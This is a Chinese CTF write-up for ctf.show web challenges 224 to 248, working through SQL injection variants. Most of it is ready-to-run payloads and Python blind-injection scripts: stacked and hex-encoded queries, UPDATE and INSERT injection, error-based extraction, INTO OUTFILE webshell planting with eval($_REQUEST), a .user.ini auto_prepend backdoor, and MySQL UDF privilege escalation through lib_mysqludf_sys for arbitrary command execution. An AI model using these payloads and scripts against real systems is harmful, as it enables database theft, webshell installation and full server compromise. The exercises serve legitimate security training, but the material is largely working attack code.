#sql= "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagas'"
#--------查flag
sql= "select flagasabc from ctfshow_flagas"
#*************************************************************************************************************************************************************
payload = "if(ascii(substr(({}),{},true))=({}),username,false)"


#计数
n = 0

for i in range(1, 666):
for j in range(32,126):
result_num=generateNum(i)
result=generateNum(j)
params = {
'u' : payload.format(sql,result_num,result)
}

res = requests.get(url = url, params = params)
if "userAUTO" in res.text:
flag += chr(j)
n += 1
print('[*] 开始盲注第{}位'.format(n))
print(flag)
if j == "}":
print('[*] flag is {}'.format(flag))
exit()
break
#ctfshow{728dd1b0-7547-401d-b358-2d2207f3d13c}

image-20210801104156781

web224

  • 我以为是输入框注入,没想到是文件注入,有一个君子协议里面可以重置密码robots.txt

image-20210801115756350

登陆之后发现是一个上传点,什么都上传不进去,群里有一个payload.bin,上传就自动生成1.php,就直接是rce了,拿flag

image-20210801122038785

web225

第一种做法,handle,因为堆叠注入,除了过滤的语句,基本是任意执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 打开一个表名为 tbl_name 的表的句柄
HANDLER tbl_name OPEN [ [AS] alias]

# 1、通过指定索引查看表,可以指定从索引那一行开始,通过 NEXT 继续浏览
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]

# 2、通过索引查看表
# FIRST: 获取第一行(索引最小的一行)
# NEXT: 获取下一行
# PREV: 获取上一行
# LAST: 获取最后一行(索引最大的一行)
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]

# 3、不通过索引查看表
# READ FIRST: 获取句柄的第一行
# READ NEXT: 依次获取其他行(当然也可以在获取句柄后直接使用获取第一行)
# 最后一行执行之后再执行 READ NEXT 会返回一个空的结果
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]

# 关闭已打开的句柄
HANDLER tbl_name CLOSE

payload

1
http://76114b3b-7ffd-4016-8b00-b96feb693fd8.challenge.ctf.show:8080/api/?username=ctfshow';handler ctfshow_flagasa open;handler ctfshow_flagasa read first--+

第二种做法预处理

1
2
3
4
5
SET @tn = 'hahaha';  //存储表名
SET @sql = concat('select * from ', @tn); //存储SQL语句
PREPARE name from @sql; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句

因为concat连接之后直接就是字符串,所以就直接构造payload

1
http://76114b3b-7ffd-4016-8b00-b96feb693fd8.challenge.ctf.show:8080/api/?username=ctfshow';show tables;prepare gylq from concat('s','elect',' * from ctfshow_flagasa');execute gylq;--+

web226

  • 预处理from后面可以跟十六进制,所以可以有更骚的姿势,直接将select * from ctfsh_ow_flagas转换成0x73656C656374202A2066726F6D2063746673685F6F775F666C61676173就可以直接语句执行

payload

1
http://bbec116e-8f61-487c-8966-9384be4efe14.challenge.ctf.show:8080/api/?username=userAUTO';prepare gylq from 0x73656C656374202A2066726F6D2063746673685F6F775F666C61676173;execute gylq--+

web227

  • 搜了个遍,没找到flag,最后发现information_schema.routines这个表是存放函数和存储过程字段的。我们查看一下这个表,关于函数的存储过程,看看网上这篇文章MySQL——查看存储过程和函数

payload,查看routines的所有字段和数据

1
http://faa7806b-aae1-4405-8c64-1600655bcd26.challenge.ctf.show:8080/api/?username=user1';prepare gylq from 0x73656C656374202A2066726F6D20696E666F726D6174696F6E5F736368656D612E726F7574696E6573;execute gylq;

image-20210801141034167

可以直接用1';call getflag();来调用这个函数,不过这个所有字段里已经可以找到flag

image-20210801141215295

web228

  • 和web226一样的做法,转十六进制
1
http://abd0d622-b6b8-48c7-98f3-9a49f3996b1b.challenge.ctf.show:8080/api/?username=user1';prepare gylq from 0x73656C656374202A2066726F6D2063746673685F6F775F666C616761736161;execute gylq;

web229

  • 和上题一样,估计没招了
1
http://74ea40ed-fc20-471c-8d2e-05cbd44aadad.challenge.ctf.show:8080/api/?username=user1';prepare gylq from 0x73656C656374202A2066726F6D20666C6167;execute gylq;

web230

  • 堆叠注入的精髓就是预处理和转十六进制么,和上题一样
1
http://bde7f4f9-1def-42cf-afee-da3025b6550a.challenge.ctf.show:8080/api/?username=user1';prepare gylq from 0x73656C656374202A2066726F6D20666C61676161626278;execute gylq;

web231

  • 我看到第一眼,就想着写个脚本,看了别人wp发现不用写布尔脚本,但是我写了,所以就用脚本梭哈
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/8/1
# blog: gylq.gitee.io
import requests
#import time

# def generateNum(num):
# res = 'true'
# if num == 1:
# return res
# else:
# for i in range(num-1):
# res += "+true"
# return res


url = "http://06b28180-71ea-4f89-a05a-7d6baaf18696.challenge.ctf.show:8080/api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""
#password=1234567811&username=ctfshow' and if(substr(database(),1,1)='c',1,0)#
#*************************************************************************************************************************************************************
#--------查表
#sql= "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#--------查字段
#sql= "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flaga'"
#--------查flag
sql= "select group_concat(flagas) from flaga"
#*************************************************************************************************************************************************************
payload = "ctfshow' and if(substr(({}),{},1)='{}',1,0)#"


#计数
n = 0

for i in range(1, 666):
for j in str:
params = {
'username' : payload.format(sql,i,j),
'password' : "{}".format(i)
}
res = requests.post(url = url, data = params)
#print(res.text)
if r"\u66f4\u65b0\u6210\u529f" in res.text:
flag += j
n += 1
print('[*] 开始盲注第{}位'.format(n))
print(flag)
if j == "}":
print('[*] flag is {}'.format(flag))
exit()
break
  • 第二种方式,了解一下性质,学习学习。
1
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

他语句是这样,那我们拼接一下成

1
update ctfshow_user set pass = '1',username=database()# where username = '{$username}'; #后面就的被注释掉了

就有这样的效果

image-20210801150934264

这样不就任意语句执行了。

payload

1
username=ctfshow&password=1' ,username=database()#

拿flag

1
username=ctfshow&password=1' ,username=(select group_concat(flagas) from flaga)#

image-20210801151123611

web232

  • 上把盲注脚本直接梭哈,只不过加了个给密码md5加密而已,并没有改变之前代码的性质,我代码跟用户名有关,所以不变
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/8/1
# blog: gylq.gitee.io
import requests
#import time

# def generateNum(num):
# res = 'true'
# if num == 1:
# return res
# else:
# for i in range(num-1):
# res += "+true"
# return res


url = "http://258da519-591d-4f61-b9af-c91ccb7af34f.challenge.ctf.show:8080/api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""
#password=1234567811&username=ctfshow' and if(substr(database(),1,1)='c',1,0)#
#*************************************************************************************************************************************************************
#--------查表
#sql= "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#--------查字段
#sql= "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flagaa'"
#--------查flag
sql= "select group_concat(flagass) from flagaa"
#*************************************************************************************************************************************************************
payload = "ctfshow' and if(substr(({}),{},1)='{}',1,0)#"


#计数
n = 0

for i in range(1, 666):
for j in str:
params = {
'username' : payload.format(sql,i,j),
'password' : "{}".format(i)
}
res = requests.post(url = url, data = params)
if r"\u66f4\u65b0\u6210\u529f" in res.text:
flag += j
n += 1
print('[*] 开始盲注第{}位'.format(n))
print(flag)
if j == "}":
print('[*] flag is {}'.format(flag))
exit()
break

image-20210801152819566

注意,用了第一种方法的时候不要用第二种方法,容易打乱代码条件,同样的第二种方法也就是加了个括号paylaod

1
username=ctfshow&password=12'),username=(database())#

image-20210801151650299

web233

  • 发现连着三题都可以用第一个盲注脚本跑出来,继续梭哈
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/8/1
# blog: gylq.gitee.io
import requests
#import time

# def generateNum(num):
# res = 'true'
# if num == 1:
# return res
# else:
# for i in range(num-1):
# res += "+true"
# return res


url = "http://8feb46d5-de26-4836-807f-3d7218bcb7ae.challenge.ctf.show:8080/api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""

#password=1234567811&username=ctfshow' and if(substr(database(),1,1)='c',1,0)#
#*************************************************************************************************************************************************************
#--------查表
#sql= "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#--------查字段
#sql= "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag233333'"
#--------查flag
sql= "select group_concat(flagass233) from flag233333"
#*************************************************************************************************************************************************************

payload = "ctfshow' and if(substr(({}),{},1)='{}',1,0)#"


#计数
n = 0

for i in range(1, 666):
for j in str:
params = {
'username' : payload.format(sql,i,j),
'password' : "{}".format(i)
}
res = requests.post(url = url, data = params)
if r"\u66f4\u65b0\u6210\u529f" in res.text:
flag += j
n += 1
print('[*] 开始盲注第{}位'.format(n))
print(flag)
if j == "}":
print('[*] flag is {}'.format(flag))
exit()
break

web234

  • 脚本跑不动了,过滤了单引号,这题考的是\实现单引号逃逸
1
2
3
4
5
6
7
8
原来的语句
update ctfshow_user set pass =
'{$password}' where username = '{$username}';
加上\逃逸单引号
update ctfshow_user set pass =
'\' where username = '{$username}';
pass里面的内容则变成' where username =
username里面的值我们可以随意控制

查表payload

1
username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&password=\

image-20210801160115328

查字段payload

1
username=,username=(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x666C6167323361)#&password=\

flag

1
username=,username=(select group_concat(flagass23s3) from flag23a)#&password=\

web235

  • 这题过滤了information,ban了or和’,我们只能去找mysql里面的可以查表的表mysql.innodb_table_stats但是发现找不到其他里面包含字段的表了。所以只能想到无列名注入

可以参考一下

概述MySQL统计信息
CTF|mysql之无列名注入

查表

1
username=,username=(select group_concat(table_name) from mysql.innodb_table_stats )#&password=\

payload查flag

1
username=,username=(select `2` from (select 1,2,3 union select * from flag23a1)a limit 1,1) #&password=\

image-20210801164011222

web236

  • 他多过滤了一个flag,一样可以用上一个payload
1
username=,username=(select `2` from (select 1,2,3 union select * from flaga)a limit 1,1) #&password=\

我感觉没过滤,如果真过滤了,也可以base64转过去

1
username=,username=(select to_base64(`2`) from (select 1,2,3 union select * from flaga)a limit 1,1) #&password=\

web237

  • 经典insert注入

查表

1
password=gylq&username=gylqtest',(select group_concat(table_name) from information_schema.tables where table_schema=database()));#

查字段

1
password=gylq&username=gylqtest',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'));#

查flag

1
password=gylq&username=gylqtest',(select flagass23s3 from flag));#

web238

  • 过滤了空格,用括号

查表

1
password=gylq&username=gylqtest',(select(group_concat(`table_name`))from(information_schema.tables)where`table_schema`=database()))#

查字段

1
password=gylq&username=gylqtest',(select(group_concat(`column_name`))from(information_schema.columns)where`table_schema`=database()and`table_name`='flagb'))#

查flag

1
password=gylq&username=gylqtest',(select(flag)from(flagb)))#

web239

  • 过滤了information,空格

查表

1
password=gylq&username=gylqtest',(select(group_concat(table_name))from(mysql.innodb_table_stats)))#

拼不出来flag,无列名我无能为力

查flag,猜弱flag名称

1
username=1',(select`flag`from`flagbb`));#&password=1

web240

  • 这题明显是让我们写个爆破py,安排啊
1
Hint: 表名共9位,flag开头,后五位由a/b组成,如flagabaab,全小写
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/8/1
# blog: gylq.gitee.io
import requests

url="http://108f39e9-3737-4b40-9285-4441a3360741.challenge.ctf.show:8080/api/insert.php"
flag="flag"
str="ab"
payload="gylq',(select(group_concat(flag))from({})))#"

for a in str:
for b in str:
for c in str:
for d in str:
for e in str:
random=flag+a+b+c+d+e
data = {
'username' : payload.format(random) ,
'password' : "flag"
}
res = requests.post(url,data)

跑一下就可以看到结果

image-20210801210838287

web241

  • 一开始想快速了解直接写了个布尔盲注,想着有21条数据,直接写了个布尔盲注的代码,结果只能查出flag前几位,由于环境无法插入,所以只能查出表和字段,但是flag拿不全。

这是可以查表和字段的布尔盲注,不过可利用价值不高,只能查出flag一部分,可以学习,注意:这个代码无法查出结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/8/1
# blog: gylq.gitee.io
import requests
#import time

# def generateNum(num):
# res = 'true'
# if num == 1:
# return res
# else:
# for i in range(num-1):
# res += "+true"
# return res


url = "http://6786d08e-8031-4544-aa67-f4b3028d2c8d.challenge.ctf.show:8080/api/delete.php"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""

#*************************************************************************************************************************************************************
#--------查表
#sql= "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#--------查字段
#sql= "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagas'"
#--------查flag
#sql= "select flagasabc from ctfshow_flagas"
#*************************************************************************************************************************************************************
payload = "{} and if(substr((select group_concat(flag) from flag),{},1)='{}',1,0)"


#计数
n = 0

for i in range(20, 44):
k=i-19
for j in str:
params = {
'id' : payload.format(k,i,j)
}
res = requests.post(url = url, data = params)
if r"\u5220\u9664\u6210\u529f" in res.text:
flag += j
n += 1
print('[*] 开始盲注第{}位'.format(n))
print(flag)
if j == "}":
print('[*] flag is {}'.format(flag))
exit()
break

实际去环境试了下

1
2
delete from users where id=sleep(0.20)
这样是可以达到延时

所以这题应该是时间盲注。好了直接上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/8/1
# blog: gylq.gitee.io
import requests
import time

# def generateNum(num):
# res = 'true'
# if num == 1:
# return res
# else:
# for i in range(num-1):
# res += "+true"
# return res


url = "http://f0b20d14-9c8f-49ed-8808-2ebc4115c907.challenge.ctf.show:8080/api/delete.php"

str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"

flag = ""

#*************************************************************************************************************************************************************
#--------查库名
#sql="database()"
#--------查表
#sql= "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#--------查字段
#sql= "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'"
#--------查flag
sql= "select flag from flag"
#*************************************************************************************************************************************************************
payload = "if(substr(({}),{},1)='{}',sleep(0.1),0)"


#计数
n = 0

for i in range(1,666):
for j in str:
data = {
'id' : payload.format(sql,i,j)
}
start = time.time()
res = requests.post(url = url, data = data)
end = time.time()
if end-start > 2 and end-start < 3:
flag += j
n += 1
print('[*] 开始盲注第{}位'.format(n))
print(flag)
if j == "}":
print('[*] flag is {}'.format(flag))
exit()
break

image-20210802070239988

web242

  • 到了file模块了,首先我们先了解一下关于file的形式,做这题前,先了解一些预备知识

我们到本地进行测试一下file的功能

首先第一个我们了解一下字段分隔符

1
2
FIELDS TERMINATED BY‘,‘字段间分割符
OPTIONALLY ENCLOSED BY‘"‘将字段包围 对数值型无效--未测试

利用字段分隔符在本地写一句话木马

image-20210802072512149

可以发现很好的写入成功

image-20210802072534703

我们再学习一个将每一条记录使用换行符

1
LINES TERMINATED BY‘\n‘ 换行符
1
select * from users into outfile "D:/phpstudy8/WWW/dump/1.txt" LINES TERMINATED BY '<?php eval(REQUEST[1]);?>'

明显将一句话木马写入

image-20210802073050645

我们看一下题目

1
2
//备份表
$sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";

这题明显就有两种做法,我们用分隔符做

payload

1
filename=7.php' FIELDS TERMINATED BY '<?php eval($_REQUEST[1]);?> ' #

image-20210802073413150

这题我眼瞎,找flag半天,没发现flag在根目录,结果以为在数据库里面,因为权限不够,我在dump目录下写了个数据库连接以及查询的语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php


error_reporting(0);
require_once "config.php";
$ua = $_SERVER['HTTP_USER_AGENT'];

$filename = $_POST['filename'];

$num = 1;
$ret = array(
"code"=>0,
"msg"=>"导出失败",
"count"=>$num,
"data"=>array()
);


if(isset($filename)){

$conn = new mysqli($dbhost,$dbuser,$dbpwd,$dbname);
if(mysqli_connect_errno()){
die(json_encode(array(mysqli_connect_error())));
}
$conn->query("set name $charName");

$sql = "select * from ctfshow_user where username={$filename};";
$conn->query("set name $charName");
$result = $conn->query($sql);
while ($row = mysqli_fetch_array($result)){
echo "u:".$row['username'];
echo "p:".$row['pass'];
}
if(mysqli_affected_rows($conn)){
$ret['msg']="导出{$filename}成功";
}else{
$ret['msg']="导出{$filename}失败";
}
mysqli_close($conn);
}

echo json_encode($ret);

然后利用自己写的一个盲注脚本跑了整个数据库,没找到脚本,最后才发现在根目录,脚本上来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/8/1
# blog: gylq.gitee.io
import requests
#import time

# def generateNum(num):
# res = 'true'
# if num == 1:
# return res
# else:
# for i in range(num-1):
# res += "+true"
# return res


url = "http://9c4ff2fb-3479-4628-be92-f7dff3560001.challenge.ctf.show:8080/dump/dump.php"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""

#password=1234567811&username=ctfshow' and if(substr(database(),1,1)='c',1,0)#
#*************************************************************************************************************************************************************
#--------查表
sql= "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#--------查字段
#sql= "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag233333'"
#--------查flag
#sql= "select group_concat(flagass233) from flag233333"
#*************************************************************************************************************************************************************

payload = "'ctfshow' and if(substr(({}),{},1)='{}',1,0)"


#计数
n = 0

for i in range(1, 666):
for j in str:
params = {
'filename' : payload.format(sql,i,j),
}
res = requests.post(url = url, data = params)
if "u:ctfshowp" in res.text:
flag += j
n += 1
print('[*] 开始盲注第{}位'.format(n))
print(flag)
if j == "}":
print('[*] flag is {}'.format(flag))
exit()
break

简简单单的找flag,我搞成了代码审计。这两个代码仅供娱乐。只能扒光数据库,但是找不到flag。注意:flag在根目录o(╥﹏╥)o

web243

  • 过滤了php,这时候我们想到了用户自定义.user.ini函数,刚刚好他这个dump目录下有一个Index.php文件,所以我们可以直接梭哈
1
0x0A3C3F706870206576616C28245F524551554553545B315D293B3F3E0A ==> \nauto_prepend_file=gylq.jpg

首先上传一个图片文件

1
filename=gylq.jpg' LINES TERMINATED BY 0x0A3C3F706870206576616C28245F524551554553545B315D293B3F3E0A#

在上传.user.ini文件

1
filename=.user.ini' LINES TERMINATED BY 0x0A6175746F5F70726570656E645F66696C653D67796C712E6A70670A#

接着访问index.php

image-20210802100525229

getshell拿flag

image-20210802100538845

web244

  • 终于来到报错模块了
1
2
//备份表
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";

经典报错注入拿表

1
http://8b891a41-b3c2-4892-96e2-88623f86dd70.challenge.ctf.show:8080/api/?id=1' or updatexml(1,concat(0x3d,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)%23

拿字段

1
http://8b891a41-b3c2-4892-96e2-88623f86dd70.challenge.ctf.show:8080/api/?id=1' or updatexml(1,concat(0x3d,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flag')),1)%23

拿flag

1
2
3
4
5
6
左半边flag
ctfshow{5079b895-164f-4ea3-9e0e
右半边flag
5-164f-4ea3-9e0e-553ff35fee35}
删除重合的部分
ctfshow{5079b895-164f-4ea3-9e0e-553ff35fee35}

web245

  • 过滤了update,可以积累一下报错注入的语句
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1. floor + rand + group by
select * from user where id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
select * from user where id=1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));

2. ExtractValue
select * from user where id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3. UpdateXml
select * from user where id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1));

4. Name_Const(>5.0.12)
select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x;

5. Join
select * from(select * from mysql.user a join mysql.user b)c;
select * from(select * from mysql.user a join mysql.user b using(Host))c;
select * from(select * from mysql.user a join mysql.user b using(Host,User))c;

拿表

1
http://0fbee15d-4936-43e7-a8f1-3f8e0f8e84c5.challenge.ctf.show:8080/api/?id=1' or extractvalue(1,concat(0x3d,(select group_concat(table_name) from information_schema.tables where table_schema=database())))%23

拿字段

1
http://0fbee15d-4936-43e7-a8f1-3f8e0f8e84c5.challenge.ctf.show:8080/api/?id=1' or extractvalue(1,concat(0x3d,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagsa')))#

拿flag

1
2
3
4
5
6
7
8
9
10
前部分
ctfshow{b2cc23cb-316b-4cea-b9ea
语句
http://0fbee15d-4936-43e7-a8f1-3f8e0f8e84c5.challenge.ctf.show:8080/api/?id=1' or extractvalue(1,concat(0x3d,(select group_concat(flag1) from ctfshow_flagsa)))%23
后部分
a-b9ea-9807145c946a}
语句
http://0fbee15d-4936-43e7-a8f1-3f8e0f8e84c5.challenge.ctf.show:8080/api/?id=1' or extractvalue(1,concat(0x3d,(select right(group_concat(flag1),20) from ctfshow_flagsa)))%23
重复部分删除
ctfshow{b2cc23cb-316b-4cea-b9ea-9807145c946a}

web246

  • 过滤多加了个extractvalue,换一个方法,用group by报错方法,不过group by报错方法有and联合,还有union联合两种方法,都展示一下

查字段

1
http://b8b5d561-57a2-477f-9c61-17caf1ce6094.challenge.ctf.show:8080/api/?id=1' and (select count(*) from information_schema.tables group by concat((select column_name from information_schema.columns where table_schema=database() and table_name='ctfshow_flags' limit 1,1),floor(rand(0)*2))) %23

flag,没有长度限制

1
http://b8b5d561-57a2-477f-9c61-17caf1ce6094.challenge.ctf.show:8080/api/?id=1' and (select count(*) from information_schema.tables group by concat((select flag2 from ctfshow_flags limit 0,1),floor(rand(0)*2))) %23

union报错查询查flag

1
http://b8b5d561-57a2-477f-9c61-17caf1ce6094.challenge.ctf.show:8080/api/?id=1' union select 1,count(*),concat((select flag2 from ctfshow_flags),floor(rand(0)*2)) a from information_schema.tables group by a %23

web247

  • 过滤了向下取整floor,没过滤ceil向上取整
1
http://b89fec88-85a4-4e59-b9b2-d6c71204e161.challenge.ctf.show:8080/api/?id=1' and (select count(*) from information_schema.tables group by concat((select `flag?` from ctfshow_flagsa),ceil(rand(0)*2))) %23

web248

  • 考点udf注入

一、什么是udf

udf 全称为:user defined function,意为用户自定义函数;用户可以添加自定义的新函数到Mysql中,以达到功能的扩充,调用方式与一般系统自带的函数相同,例如 contact(),user(),version()等函数。

udf 文件后缀一般为 dll,由C、C++编写

二、udf在渗透中的作用

在一般渗透过程中,拿下一台windows服务器的webshell时,由于webshell权限较低,有些操作无法进行,而此时本地恰好存在mysql数据库,那么udf可能就派上用场了;由于windows安装的mysql进程一般都拥有管理员权限,这就意味着用户自定义的函数也拥有管理员权限,我们也就拥有了执行管理员命令的权限,这时新建管理员用户等操作也就轻而易举了,大多数人称为这一操作为udf提权,其实表达不够准确,应该称为通过mysql获得管理员权限。

三、利用条件

利用udf的条件其实还是挺苛刻的

mysql用户权限问题

  • 获得一个数据库账号,拥有对MySQL的insert和delete权限。以root为佳。

  • 拥有将udf.dll写入相应目录的权限。

四、数据库版本问题

udf利用的其中一步,是要将我们的xxx.dll文件上传到mysql检索目录中,mysql各版本的检索目录有所不同:

版本 路径
MySQL < 5.0 导出路径随意;
5.0 <= MySQL< 5.1 需要导出至目标服务器的系统目录(如:c:/windows/system32/)
5.1 < MySQL 必须导出到MySQL安装目录下的lib\plugin文件夹下

一般Lib、Plugin文件夹需要手工建立(可用NTFS ADS流模式突破进而创建文件夹)

五、本地利用过程

1、获取Mysql安装路径

1
select @basedir

2、查看可操作路径

1
show global variables like "%secure%"

secure_file_priv值为null,表示mysql不允许导入导出,此时我们只能通过别的方法将udf.dll写入安装路径

3、查看plugin目录路径

1
select @@plugin_dir

4、将dll上传方式推荐几种

将dll上传到安装路径的方式:

通过webshell上传

以hex方式直接上传

sqlmap中现有的udf文件,分为32位和64位,一定要选择对版本,获取sqlmap的udf方式

5、sqlmap中udf获取方式

自动化注入工具Sqlmap已经集成了此功能。

在 \sqlmap\data\udf\mysql\windows\64目录下存放着lib_mysqludf_sys.dll_

image-20210802180556258

  • 但是sqlmap中自带的shell以及一些二进制文件,为了防止误杀都经过异或编码,不能直接使用

可以利用sqlmap 自带的解码工具cloak.py,在sqlmap\extra\cloak中打开命令行,来对lib_mysqludf_sys.dll_进行解码在,然后在直接利用,输入下面的

1
cloak.py -d -i C:\sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_

image-20210802180926662

接着就会在\sqlmap\data\udf\mysql\windows\64目录下生成一个dll的文件lib_mysqludf_sys.dll,这个我们就可以直接拿来利用

攻击者可以利用lib_mysqludf_sys提供的函数执行系统命令。

函数:

sys_eval,执行任意命令,并将输出返回。

sys_exec,执行任意命令,并将退出码返回。

sys_get,获取一个环境变量。

sys_set,创建或修改一个环境变量。

以我windows系统为例,mysql版本为MySQL5.7.26

注意:攻击过程中,首先需要将lib_mysqludf_sys ( 目标为windows时,lib_mysqludf_sys.dll;linux时,lib_mysqludf_sys.so)上传到数据库能访问的路径下。

image-20210802181450673

  • 直接将刚刚生成的64位windows的dll文件复制到D:\phpstudy8\Extensions\MySQL5.7.26\lib\plugin中,然后再mysql中执行以下语句
1
create function sys_eval returns string soname 'udf.dll'

image-20210802181552843

  • 然后就可以任意命令执行了

  • sys_eval,执行任意命令,并将输出返回。

    sys_exec,执行任意命令,并将退出码返回。

    sys_get,获取一个环境变量。

    sys_set,创建或修改一个环境变量。

1
select sys_eval('ipconfig')

image-20210802181722479

六、实战情况之一,hex编/解传入mysql系统提权

  • 本地利用的情况,你得已经上传webshell的情况下才能成功。如果你在sql实战中遇到可以使用outfile等上传文件的情况下,如何利用来系统权限命令执行。下面我们先熟悉一下本地测试一下具体情况

为了将这个转换为十六进制,可以借助mysql中的hex函数,先将udf.dll移动到C盘中,这样路径也清晰一些,然后执行下面命令

1
select hex(load_file('C:/udf.dll')) into dumpfile 'c:/udf.txt'

image-20210802184049609

成功生成了十六进制形式流

image-20210802184106028

接下来就是把本地的udf16进制形式通过我们已经获得的webshell传到目标主机上。

一、新建一个表,名为udftmp,用于存放本地传来的udf文件的内容。

1
create table udftmp (c BLOB)

二、在udftmp中写入udf文件内容

1
INSERT INTO udftmp values(unhex('udf文件的16进制格式'))

三、将udf文件内容传入新建的udf文件中,路径根据自己的@@plugin_dir修改 //对于mysql小于5.1的,导出目录为C:\Windows\或C:\Windows\System32\

1
select c from udftmp into dumpfile 'D:/phpstudy8/Extensions/MySQL5.7.26/lib/plugin/udf.dll'

四、执行下面语句,就可以system权限下命令任意执行,这电脑就沦陷了,执行命令上面已经说过,就不复述了

1
create function sys_eval returns string soname 'udf.dll'

五、删除痕迹,做好事不留名

1
DROP TABLE udftmp
1
2
SELECT sys_eval('ipconfig');
返回网卡信息

本地实践了之后,基础知识差不多了解我们做一个实战靶场

题目代码

image-20210802215056685

1
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";
  • 测试了一下,明显存在堆叠注入,刚好可以利用堆叠注入,来进行udf来进行命令执行,测试,过滤information、and、or等各种语句无法布尔盲注、时间盲注、报错注入等

image-20210802215137822

好了,废话不多说直接看一下@@plugin_dir的路径来命令执行

image-20210802215552429

1
目录/usr/lib/mariadb/plugin/

对方是linux,当然写 一个脚本跑会快一些,我先手工实操一遍,之后就用脚本梭哈,首先根据我之前的方法生成64位linux的udf.so的十六进制形式

image-20210803101639156

由于这是get传参,是有长度限制的,16081的超过限制,会直接被ban了,所以我分按6000长度分为了三个文本文件里面装了udf十六进制三个部分

image-20210803101807533

接着我们将a、b、c三个中里面的十六进制导入到被攻击的机器中

1
select 'a部分十六进制' into dumpfile '/usr/lib/mariadb/plugin/a.txt'

image-20210803102052966

为了确认我们是否已经导入load_file来判断

1
select load_file('/usr/lib/mariadb/plugin/a.txt')

image-20210803102140360

明显导入成功,照葫芦画瓢,将剩下的b和c导入进去

image-20210803102422360

当明显确定已经都导入成功了a、b、c三部分udf十六进制内容,接着来就是导入so到这个目录就可以命令执行

1
select unhex(concat(load_file('/usr/lib/mariadb/plugin/a.txt'),load_file('/usr/lib/mariadb/plugin/b.txt'),load_file('/usr/lib/mariadb/plugin/c.txt'),load_file('/usr/lib/mariadb/plugin/d.txt'))) into dumpfile '/usr/lib/mariadb/plugin/udf.so'

image-20210803102536467

